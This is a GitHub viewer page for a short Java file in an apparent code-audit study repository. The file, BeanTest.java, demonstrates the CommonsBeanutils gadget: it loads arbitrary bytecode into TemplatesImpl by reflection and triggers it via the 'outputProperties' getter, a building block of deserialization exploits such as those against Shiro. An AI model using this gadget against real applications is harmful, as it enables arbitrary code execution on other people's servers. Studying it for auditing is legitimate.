FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
Java_Code_Audit/Shiroexp/src/main/java/BeanTest.java at master · apsry/Java_Code_Audit · GitHub
apsry
Java_Code_Audit
Repository navigation
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
Java_Code_Audit
/
Shiroexp
/
src
/
main
/
java
/
BeanTest.java
Copy path
More file actions
More file actions
Latest commit
History
History
History
32 lines (27 loc) · 1.34 KB
Breadcrumbs
Java_Code_Audit
/
Shiroexp
/
src
/
main
/
java
/
BeanTest.java
Copy path
File metadata and controls
32 lines (27 loc) · 1.34 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
trax
.
TemplatesImpl
;
import
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
trax
.
TransformerFactoryImpl
;
import
org
.
apache
.
commons
.
beanutils
.
PropertyUtils
;
import
java
.
lang
.
reflect
.
Field
;
import
java
.
nio
.
file
.
Files
;
import
java
.
nio
.
file
.
Paths
;
public
class
BeanTest
{
public
static
void
main
(
String
[]
args
)
throws
Exception
{
Person
person
=
new
Person
(
"aaa"
,
18
);
// System.out.println(PropertyUtils.getProperty(person,"name"));
TemplatesImpl
templates
=
new
TemplatesImpl
();
Class
tc
=
templates
.
getClass
();
Field
nameField
=
tc
.
getDeclaredField
(
"_name"
);
nameField
.
setAccessible
(
true
);
nameField
.
set
(
templates
,
"aaa"
);
Field
bytecodeField
=
tc
.
getDeclaredField
(
"_bytecodes"
);
bytecodeField
.
setAccessible
(
true
);
byte
[]
code
=
Files
.
readAllBytes
(
Paths
.
get
(
"C:
\\
Users
\\
17140
\\
Desktop
\\
暑假实习
\\
java代码审计
\\
Cc1_test
\\
target
\\
classes
\\
Test.class"
));
byte
codes
[][]= {
code
};
bytecodeField
.
set
(
templates
,
codes
);
Field
tfactoryField
=
tc
.
getDeclaredField
(
"_tfactory"
);
tfactoryField
.
setAccessible
(
true
);
tfactoryField
.
set
(
templates
,
new
TransformerFactoryImpl
());
//templates.newTransformer();
PropertyUtils
.
getProperty
(
templates
,
"outputProperties"
);
}
}
Back
|
FazBrowse Home
|
New Git URL